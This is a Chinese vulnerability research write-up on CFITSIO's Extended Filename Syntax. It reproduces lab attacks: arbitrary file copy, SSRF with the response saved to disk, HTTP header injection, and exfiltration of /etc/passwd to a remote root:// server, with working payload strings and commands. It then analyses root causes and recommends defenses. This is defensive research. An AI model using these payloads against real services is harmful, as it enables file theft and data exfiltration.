【漏洞研究】文件名攻击面:CFITSIO EFS攻击链分析
一句话结论:CFITSIO 的 Extended Filename Syntax(EFS)把「打开哪个文件」扩展成了一个微型解释器——一个文件名字符串里可以同时声明输入位置、输出副本、协议 Driver(http/ftp/root://)与格式转换子句;当应用把这些字符串直接交给 fits_open_file() 时,一个看似普通的文件名就能组合出任意文件复制、SSRF 响应落盘、HTTP Header 注入、本地文件远程外传四套攻击链,根因是参数带解释器属性、输入能选择能力实现、副作用早于格式校验。
排版说明:本文为兼容纯文本存储环境做了等价书写——shell 命令里的续行反斜杠已全部合并为单行;文中「换行字节」指 0x0A 这个控制字符(原文用反斜杠 n 表示),「回车」指 0x0D;代码示例中的双引号字符串在 shell 单引号包裹下语义不变。
一、EFS 原理概览:文件名不是字符串,是一段程序
CFITSIO 是 NASA HEASARC 维护的 FITS 文件处理库。普通文件接口收到路径后只需解决一个问题:打开哪个文件。但 fits_open_file() 收到字符串后不会立即把它当普通路径交给操作系统,而是先按 Extended Filename Syntax 解析。一个字符串里可以同时包含:
- 本地文件或远程 URL;
- 输出文件位置(outfile);
- HTTP、FTP、root:// 等协议 Driver;
- HDU、行、列和图像区域选择条件;
- 原始二进制数据的解释方式。
两个例子:
http://127.0.0.1:18080/probe.txt(/workspace/http-response.bin)
# 访问地址:http://127.0.0.1:18080/probe.txt;访问方式:http:// Driver;保存位置:/workspace/http-response.bin
/etc/passwd(root://127.0.0.1:1094//capture)[b500,1][*,*]
# 读取 /etc/passwd → 将前 500 字节解释成 500×1 的 8 位 FITS 图像 → 选择全部图像数据 → 通过 root:// Driver 写入远程
因此 EFS 中的「文件名」实际描述的是:从哪里读取 → 如何处理 → 写到哪里,即输入位置(本地文件还是远程地址)、处理方式(格式转换/区域选择)、输出位置(本地还是远程)。风险由此产生:外部用户表面上只控制了一个文件名,实际上可能同时控制文件读取、格式转换、网络访问和结果写入。
这类问题成立需要两个基本条件:1) 攻击者能控制传入 fits_open_file() 的完整字符串;2) CFITSIO 所在进程具有相应的文件读取/写入/网络访问权限。EFS 不会绕过操作系统权限,但可能把进程原本没直接暴露给外部用户的能力,通过一个文件名参数间接开放出来。
二、实验设计与环境
实验基于 Doyensec 的公开研究与最小化测试项目 github.com/doyensec/cfitsio-efs-playground,验证三个关键问题:这些文件/网络操作是否真的由 fits_open_file() 触发;输入最终不是合法 FITS 时已发生的操作是否会被撤销;多个正常功能能否组合成完整的数据读取与外传链路。
| 阶段 | 验证问题 | 关键证据 |
|---|---|---|
| 基线测试 | 环境和正常 FITS 调用是否可用 | 成功读取 sample.fits |
| 任意文件复制 | outfile 是否在格式校验前执行 | 程序报错,但 passwd.copy 已生成 |
| SSRF 与响应落盘 | 文件名能否控制请求地址和响应保存路径 | 服务端收到 GET,本地文件包含响应 |
| HTTP Header 注入 | URL Path 中的换行能否改变 HTTP 结构 | 捕获端出现自定义 Header |
| 本地文件外传 | 普通文件能否转换后经可写 Driver 发出 | ROOTD 收到 FITS Header 和文件内容 |
环境构成:宿主机当前目录挂载到容器 /workspace;Docker 容器运行 CFITSIO 4.6.3;fits-sample-opener 把输入字符串直接传给 fits_open_file()(已启用扩展文件名语法)。构建:
git clone https://github.com/doyensec/cfitsio-efs-playground.git
cd cfitsio-efs-playground
docker build -t cfitsio:4.6.3 .
基线命令(多行已合并):
docker run --rm -v "$(pwd)":/workspace cfitsio:4.6.3 fits-sample-opener '/workspace/sample.fits'
# Opening file via fits_open_file (extended filename syntax enabled)
# Result: NAXIS=2 [2000 x 4]
# Done.
参数含义:--rm 退出后自动删临时容器;-v $(pwd):/workspace 挂载当前目录;cfitsio:4.6.3 实验镜像;fits-sample-opener 最小测试程序。基线成功说明环境、挂载、合法 FITS 调用均正常。
三、攻击原语一:任意文件复制
EFS 的 outfile 语法为 input.fits(output.fits):括号前是输入位置,括号内是输出位置。该功能原本用于创建输入副本或保存解压/过滤/转换结果。安全问题不在「存在复制功能」,而在于外部输入可以同时指定读哪个文件和把副本写到哪。注意:它首先形成的是任意文件复制,不是天然的任意文件读取——只有当 outfile 指向 Web 可访问目录、共享目录、任务产物目录等攻击者可取回的位置时,才进一步转化为内容泄露。
对照组(合法 FITS 复制):
docker run --rm -v "$(pwd)":/workspace cfitsio:4.6.3 fits-sample-opener '/workspace/sample.fits(/workspace/sample-copy.fits)'
sha256sum sample.fits sample-copy.fits # 两文件哈希一致
哈希一致证明括号中的 outfile 会触发真实文件复制,而不是只记录一个逻辑输出名。
关键时序实验(非 FITS 复制):把输入换成容器内 /etc/passwd:
docker run --rm -v "$(pwd)":/workspace cfitsio:4.6.3 fits-sample-opener '/etc/passwd(/workspace/passwd.copy)'
# 程序最终返回 FITS 格式错误(This does not look like a FITS file)
head -n 10 passwd.copy # 但副本已存在且包含原始内容
这验证了一个时序问题:CFITSIO 是先确认 /etc/passwd 为合法 FITS 再执行 outfile,还是先创建副本、之后才格式校验?答案是后者——outfile 的写入发生在最终 FITS Header 校验之前,程序返回失败并不会自动撤销已完成的副作用。(本实验读的是容器内部 /etc/passwd,真实环境的可读范围取决于进程权限。)
四、攻击原语二:SSRF 与响应落盘
EFS 允许用 HTTP URL 作为输入,同时继续用 outfile 保存结果(http://host/file(local-copy)):HTTP Driver 从远程读取 + outfile 把结果写本地。需同时观察两个证据:服务端是否收到请求(证明网络访问确实由 CFITSIO 发起);本地输出是否包含响应(证明这不是只能判断请求是否成功的盲 SSRF)。
启动可控服务(访问 /probe.txt 返回唯一标记):
mkdir -p http-root
printf 'CFITSIO-EFS-SSRF-LAB' > http-root/probe.txt
python3 -m http.server 18080 --directory http-root
触发(--network=host 仅为让容器能访问宿主机测试服务,与漏洞本身无关):
docker run --network=host --rm -v "$(pwd)":/workspace cfitsio:4.6.3 fits-sample-opener 'http://127.0.0.1:18080/probe.txt(/workspace/http-response.bin)'
客户端仍返回 FITS 格式错误(因为响应只是普通文本),但服务端日志出现对 /probe.txt 的 200 请求,cat http-response.bin 看到预设标记 CFITSIO-EFS-SSRF-LAB。实际执行链:访问指定 HTTP 地址 → 读取响应内容 → 将响应写入指定本地路径 → 最后才尝试按 FITS 解析。这一原语的危害不止 SSRF:若 outfile 位于可读取位置,攻击者还能取得内网接口响应。
五、攻击原语三:HTTP 请求头注入
SSRF 已证明文件名可控制主机、端口和 URL Path。但部分内部接口需要特定 Host、Authorization 或自定义 Header,仅控制 Path 未必能访问。CFITSIO 传统 HTTP Driver 会把 Path 直接拼进请求行,若 Path 中的换行字节没有在进入请求构造前被拒绝,换行之后的内容就可能被服务端解释为新的 Header。
用最小 Socket 服务直接打印 CFITSIO 发出的原始请求(返回 2880 字节响应体以符合 FITS 记录块大小、减少无关读取异常):
import socket
server = socket.socket()
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('0.0.0.0', 18081)); server.listen(1)
conn, addr = server.accept()
request = conn.recv(16384)
print(request.decode('latin-1', errors='replace'))
body = b'X' * 2880
conn.sendall(b'HTTP/1.0 200 OK' + 回车换行 + b'Content-Length: 2880' + 回车换行 + 回车换行 + body)
conn.close(); server.close()
触发时利用 Bash 的 $'...' 把反斜杠 n 序列转换为真实换行字节(普通单引号只会传入字面字符):
docker run --network=host --rm -v "$(pwd)":/workspace cfitsio:4.6.3 fits-sample-opener $'http://127.0.0.1:18081/test HTTP/1.1换行X-EFS-Lab: injected换行X-Pad:'
Payload 进入 Path 后内容为 /test HTTP/1.1 + 换行 + X-EFS-Lab: injected + 换行 + X-Pad:。捕获端收到:
GET /test HTTP/1.1
X-EFS-Lab: injected
X-Pad: HTTP/1.0
User-Agent: FITSIO/HEASARC/4.0603
Host: 127.0.0.1
三个要点:/test HTTP/1.1 提前结束攻击者控制的请求行;X-EFS-Lab: injected 是新增 Header;X-Pad: 吸收了 CFITSIO 自动追加的 HTTP/1.0。自定义 Header 出现在捕获端,证明文件名内容已从 URL Path 跨越到 HTTP 协议结构。
六、攻击原语四:通过 root:// 外传本地文件
前面证明了本地文件读取、HTTP 访问、outfile 写入。要把本地文件直接发到远端还需解决两点:HTTP Driver 主要用于读取、不能作为本地文件的远程写入端;/etc/passwd 不是 FITS 文件、无法直接进入后续 FITS 输出流程。因此组合两项 EFS 能力:Raw Data Clause(将普通字节包装成 CFITSIO 可处理的 FITS 图像)+ root:// Driver(创建远程对象并写入处理后的数据)。
先启动实验自带的 root.py 模拟最小 ROOTD 服务:
python3 root.py | tee root-capture.log
完整 Payload:
docker run --network=host --rm -v "$(pwd)":/workspace cfitsio:4.6.3 fits-sample-opener '/etc/passwd(root://127.0.0.1:1094//capture)[b500,1][*,*]'
各部分含义([b500,1] 不是为了读取 FITS,而是把 /etc/passwd 前 500 字节转换成一个具有合法 FITS Header 的数据对象):
| 组成 | 作用 |
|---|---|
| b | 每个元素按 8 位字节解释,对应 BITPIX=8 |
| 500,1 | 构造 500×1 的二维图像 |
| [,] | 选择转换后的全部图像数据 |
执行目的拆解:读取 /etc/passwd 前 500 字节 → 生成 500×1、BITPIX=8 的 FITS 对象 → 选择全部数据 → 通过 root:// 创建并写入远程文件。服务端记录:
ROOTD_OPEN
ROOTD_PUT
PUT offset=0 length=2880
PUT offset=2880 length=2880
FITS 使用 2880 字节逻辑记录块,所以第一个块主要是动态生成的 FITS Header(含 BITPIX=8、NAXIS=2、NAXIS1=500、NAXIS2=1,与 [b500,1] 完全对应),第二个块包含 500 字节 /etc/passwd 内容及对齐填充。至此闭环证明:本地普通文件 → Raw Data 转换 → 合法 FITS 数据对象 → root:// 远程写入的完整外传链。
七、源码分析与根因
5.1 API 语义边界:测试程序同时提供了 fits_open_file()(允许 EFS)与 fits_open_diskfile()。后者不是在解析后过滤危险字段,而是从入口处把整个字符串当字面磁盘路径处理:通过 OPEN_DISK_FILE 状态向 ffopen() 传控制信号,open_disk_file 分支直接把完整输入复制到 infile、强制选 file://,清空 outfile/扩展选择/过滤参数,最关键的是不调用 ffifile2()。所以「安全模式」的本质不是黑名单过滤,而是取消解释器语义——括号、方括号、协议前缀不再被理解为指令。防护重点不应是过滤几个危险协议,而应根据业务选择正确 API:只需本地文件时就从接口层关闭 EFS。这种 API 二象性为 SAST 规则提供了极佳特征点:用 CodeQL/Semgrep 把 fits_open_file() 标为危险 Sink,追踪不可信输入是否未经验证直接流入;若上下文真实意图只是本地文件,工具应触发高危告警并建议改用 fits_open_diskfile()。
5.2 从字符串解析到能力调度:普通 fits_open_file() 进入 ffopen() 后,ffifile2() 把一段文本拆成 urltype、infile、outfile 和多种过滤字段,解析结果进入 Driver 表,由 urltype2driver() 选择实际 I/O 实现。深层含义:用户输入不只是数据,而是参与了控制流选择——urltype 决定调用本地文件/HTTP/ROOTD 代码,outfile 决定是否额外创建写入文件,checkfile() 甚至能继续改写 urltype/infile/outfile,open() 最终用进程自身权限执行真实 I/O。EFS 的攻击面不是传统路径穿越,而更接近一个能力路由器。
5.3 核心时序缺陷:副作用先于格式校验(全文最关键):ffopen() 完成 EFS 解析后,会先调用选中 Driver 的 open();只有 Driver 已打开输入、创建副本或完成网络下载后,函数才调用 ffldrc() 和 ffrhdu() 读取并验证 FITS Header。在文件复制场景中 file_open() 内部已创建 outfile 并完成复制;在 HTTP 场景中连接和响应读取也已发生;之后 ffrhdu() 才发现内容不是合法 FITS。FITS Header 校验只回答“这个对象能否继续作为 FITS 处理”,不是文件/网络操作的事务前置条件,CFITSIO 也没有在失败后对 outfile、HTTP 请求或远程写入统一回滚。上层程序看到一次失败调用,并不能推导系统状态未变——这比单一输入校验缺失更值得注意:问题来自校验域与副作用域不一致。
5.4 HTTP Header 注入:跨越两层语法边界:HTTP Driver 先把 URL 拆成主机、端口和 fn,再用 snprintf() 把 fn 拼进请求行、追加 User-Agent 和 Host。代码只检查最终字符串长度,没有在进入请求结构前拒绝回车/换行。第一层(EFS 和 URL 解析器)把换行后的内容视为 Path 的一部分,第二层(HTTP 解析器)把相同字节视为行分隔符和 Header——这是典型的跨解析器语义错位。长度检查只能防缓冲区越界,无法阻止语法边界被突破。根因不是简单的未过滤换行,而是一个字段从 URL 语法进入 HTTP 语法时没按目标语法重新约束。此外 HTTP Driver 强依赖 snprintf() 长度截断处理 URL 切分与重组,而 EFS 本质是一个充斥括号、方括号等定界符的复杂状态机,此类场景不仅是协议注入,也是缓冲区溢出、越界读写等内存损坏漏洞的高发区。
5.5 root:// 外传:合法对象转换后的能力组合:HTTP Driver 明确拒绝 READWRITE,但 ROOTD 协议定义了远程创建、写入、刷新、关闭操作,ROOTD_PUT 携带偏移、长度及原始数据,因此可承担输出链路中的远程写入端。单独的 root:// 仍不足以外传 /etc/passwd(普通文本无法通过 FITS 流程),[b500,1] 起到关键桥接:它不是修改原文件,而是将普通字节重新解释为 BITPIX=8、NAXIS1=500、NAXIS2=1 的合法 FITS 图像。本地文件内容经一次对象转换后获得了进入后续 FITS 输出流程的资格。这体现的不是单个危险函数,而是能力组合:本地文件 Driver(读取)+ Raw Data Clause(转换)+ root:// Driver(远程写入),三个功能分别看都符合科学数据处理需求,组合后形成完整数据外传链——本质是普通数据通过格式转换完成对象合法化,随后进入一个高权限输出通道。
5.6 总根因:四个攻击原语共同依赖三项设计特征:1) 参数具有解释器属性(文件名可声明协议、输入、输出、转换规则);2) 输入能选择能力实现(urltype 直接决定用哪个 Driver);3) 副作用与格式校验解耦(Driver 先执行、FITS Header 后校验、失败时缺统一回滚)。风险不是某一协议 Driver 单独存在,而是外部输入能编排多个具有进程权限的 I/O 能力。
八、防护建议
按优先级:
- 接口层语义阻断(首选):业务只涉本地普通文件时强制用 fits_open_diskfile(),从控制流入口剥离输入字符串的解释器属性,消除解析歧义。
- 细粒度能力白名单与沙箱隔离:若确实依赖 EFS,必须在解析后、Driver 调度前,对 urltype 和 outfile 实施严格强类型白名单(拒绝 root:// 等非预期协议);同时给解析进程配置 Seccomp-bpf 或 AppArmor,在系统调用层剥夺它发起主动外连(如 connect)的能力。
- 副作用的最终一致性审计:鉴于副作用早于格式校验发生,上层在捕获到处理失败(如状态 104/108)时不能假设系统状态未受污染;必须引入清理机制或在临时隔离区(如 /tmp 挂载点)内执行解析,确保异常退出时的中间文件/网络状态被彻底回收。
九、文件名威胁的影响面与方法论
CFITSIO EFS 不是孤立案例。ImageMagick、FFmpeg 中文件名可能触发协议访问、伪格式解析或 Coder 调用;ZIP/TAR 解压时归档条目名可能决定最终写入路径;Shell 通配符和 GNU tar 文件列表中,以 - 开头的文件名还可能被解释为命令行参数;跨平台文件系统与日志展示中,路径规范化、数据流和控制字符可能造成解析差异或审计欺骗。共同点是:文件名不再只是标识,而被后续组件继续当协议、参数、路径或语法解释。
因此传统「文件内容 Fuzzing」不够,需要建立「文件名作为攻击载荷」的测试方法论:除数据流跟踪审计(明确文件名被哪些后端组件当指令/协议继续解释),还应针对接口(如 fits_open_file)实施结构化 Fuzzing,用 AFL++ 或 libFuzzer 基于提取的特殊语法字典([b500,1]、root://、嵌套括号等)对解析状态机高频覆盖,系统性挖掘逻辑边界缺陷与内存安全漏洞。
十、总结
CFITSIO EFS 将文件读取、网络访问、格式转换和结果输出统一放入一个名为「文件名」的参数。本文通过四组实验验证了任意文件复制、SSRF 与响应落盘、HTTP Header 注入、本地文件远程外传。源码层关键结论:不可信字符串不仅参与数据解析,还能选择 Driver 和输出位置;且真实文件与网络副作用早于最终 FITS Header 校验发生,上层即使收到失败状态也不能认为系统未产生变化。评估文件处理接口时不能只关注文件内容,还要判断「文件名」是否已成为一个可执行的协议和数据流描述。
参考资料:Doyensec《CFITSIO Weaponized Filenames》、Doyensec CFITSIO EFS Playground、CFITSIO Extended File Name Syntax、HEASARC CFITSIO。